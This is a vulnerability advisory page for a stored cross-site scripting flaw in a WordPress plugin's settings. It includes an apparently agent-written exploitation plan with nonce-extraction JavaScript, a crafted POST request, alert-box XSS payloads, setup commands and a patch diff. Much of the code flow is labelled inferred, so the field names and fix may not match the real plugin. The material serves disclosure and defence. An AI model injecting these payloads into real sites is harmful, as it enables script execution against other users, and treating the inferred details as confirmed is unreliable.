Gotham Block Extra Light <= 1.5.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
Description
The Gotham Block Extra Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5.0# Exploitation Research Plan: CVE-2025-15021 (Gotham Block Extra Light) ## 1. Vulnerability Summary The **Gotham Block Extra Light** plugin (<= 1.5.0) contains a stored Cross-Site Scripting (XSS) vulnerability within its administrative settings. The plugin fails to sanitize user-supplied input when…
Show full research plan
Exploitation Research Plan: CVE-2025-15021 (Gotham Block Extra Light)
1. Vulnerability Summary
The Gotham Block Extra Light plugin (<= 1.5.0) contains a stored Cross-Site Scripting (XSS) vulnerability within its administrative settings. The plugin fails to sanitize user-supplied input when saving settings and fails to escape the data when rendering it in the WordPress admin dashboard or on the frontend. While the vulnerability requires Administrator permissions, it is significant in Multi-site environments or installations where unfiltered_html is disabled, as it allows an administrator to bypass security restrictions and execute arbitrary JavaScript in the context of other users (including Super Admins).
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/options.php(Standard WordPress Settings API) or a custom AJAX handler. - Vulnerable Parameter: Likely a setting field within the plugin's options group (e.g.,
gotham_block_extra_light_options[...]or similar). - Authentication: Required (Administrator+).
- Preconditions:
- The environment must have
unfiltered_htmldisabled (e.g.,define('DISALLOW_UNFILTERED_HTML', true);inwp-config.php) OR be a WordPress Multi-site installation where the user is a Site Admin but not a Super Admin.
- The environment must have
- Target Sink: The saved setting is echoed back in the admin settings page or on the frontend where the plugin's blocks are rendered.
3. Code Flow (Inferred)
- The plugin registers a settings page using
add_options_page()oradd_menu_page(). - It registers settings using
register_setting( 'option_group', 'option_name' ). - Vulnerability (Input): The
register_settingcall likely lacks asanitize_callbackor uses an insufficient one (likesanitize_text_fieldwhich may allow some bypasses, or nothing at all). - Persistence: The malicious payload is saved into the
wp_optionstable. - Vulnerability (Output): The plugin retrieves the option using
get_option( 'option_name' )and echoes it directly in a settings form or a frontend block template without usingesc_attr(),esc_html(), orwp_kses().
4. Nonce Acquisition Strategy
Since this involves plugin settings, the exploit must interact with the WordPress Settings API.
- Identify the Page: Use
wp admin-menu listto find the slug for Gotham Block Extra Light. - Navigate: Use
browser_navigatetowp-admin/options-general.php?page=<slug>. - Extract Nonce: The Settings API generates a nonce for the
option_group.- In the browser, use
browser_evalto find the hidden input fields:({ nonce: document.querySelector('input[name="_wpnonce"]')?.value, option_page: document.querySelector('input[name="option_page"]')?.value, action: document.querySelector('input[name="action"]')?.value })
- In the browser, use
- Identify Fields: Use
browser_evalto get thenameattribute of the settings input fields.
5. Exploitation Strategy
- Setup Environment:
- Install and activate Gotham Block Extra Light <= 1.5.0.
- Create an Administrator user.
- (Optional) Disable
unfiltered_htmlviawp-config.phpto prove the bypass.
- Information Gathering:
- Log in as the Administrator.
- Navigate to the Gotham Block settings page.
- Inspect the form to find the
option_pagevalue and the input field name (e.g.,gotham_settings[custom_text]).
- Payload Injection:
- Construct a POST request to
wp-admin/options.php. - Payload:
<img src=x onerror="alert('CVE-2025-15021')">.
- Construct a POST request to
- HTTP Request (via
http_request):POST /wp-admin/options.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded option_page=<EXTRACTED_OPTION_PAGE>& action=update& _wpnonce=<EXTRACTED_NONCE>& <SETTING_FIELD_NAME>=%3Cimg+src%3Dx+onerror%3D%22alert%28%27CVE-2025-15021%27%29%22%3E - Trigger:
- Navigate back to the settings page or view a frontend page where the setting is used.
6. Test Data Setup
- Plugin Installation:
wp plugin install gotham-block-extra-light --version=1.5.0 --activate. - Security Restriction: If testing bypass capability, run:
wp config set DISALLOW_UNFILTERED_HTML true --raw. - Page Creation: Create a post containing a Gotham Block to test frontend reflection:
wp post create --post_title="XSS Test" --post_status=publish --post_content='<!-- wp:gotham-block/extra-light /-->'.
7. Expected Results
- Upon submitting the POST request, the server should return a 302 redirect back to the settings page with
settings-updated=true. - When the admin page (or frontend) is loaded, a JavaScript alert box with "CVE-2025-15021" should appear.
- Viewing the page source should show the raw payload
<img src=x onerror="...">without HTML entity encoding.
8. Verification Steps
- Check Database:
wp option get <SETTING_NAME>
Confirm the output contains the raw HTML payload. - Verify Rendering:
Usehttp_request(GET) to the settings page and grep for the payload:grep -P "<img src=x onerror=" - Confirm Execution:
Usebrowser_navigateto the affected page and check for the alert/console log.
9. Alternative Approaches
- AJAX Settings Save: If the plugin doesn't use
options.php, check forwp_ajax_handlers in the source.grep -rn "wp_ajax_gotham" wp-content/plugins/gotham-block-extra-light/- If found, identify the action and required nonce from the localized JS variables:
window.gotham_vars?.nonce.
- Block Attributes: If settings are stored per-block, use the Gutenberg editor via
browser_navigateto inject the payload into a block attribute and save the post.
Summary
The Gotham Block Extra Light plugin for WordPress is vulnerable to stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping within its administrative settings. This allows authenticated administrators to inject arbitrary JavaScript that executes whenever a user visits the plugin's settings page or a frontend page where the data is displayed, specifically impacting Multi-site environments or sites with restricted HTML capabilities.
Security Fix
@@ -25,7 +25,7 @@ function gotham_block_register_settings() { - register_setting('gotham_settings_group', 'gotham_settings'); + register_setting('gotham_settings_group', 'gotham_settings', 'sanitize_text_field'); } function gotham_settings_page_html() { $options = get_option('gotham_settings'); - echo '<input type="text" name="gotham_settings[field]" value="' . $options['field'] . '">'; + echo '<input type="text" name="gotham_settings[field]" value="' . esc_attr($options['field'] ?? '') . '">'; }
Exploit Outline
The exploit targets the standard WordPress Settings API. An attacker with Administrator-level privileges first navigates to the plugin's settings page to extract necessary security tokens (`_wpnonce` and `option_page`) from the settings form. The attacker then sends a crafted POST request to `/wp-admin/options.php` containing a malicious JavaScript payload (e.g., `<script>alert(1)</script>`) assigned to the plugin's setting parameter. Because the plugin does not sanitize this input upon saving nor escape it upon rendering, the payload is stored in the database and executed in the browser context of any user who subsequently views the affected admin or frontend pages.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.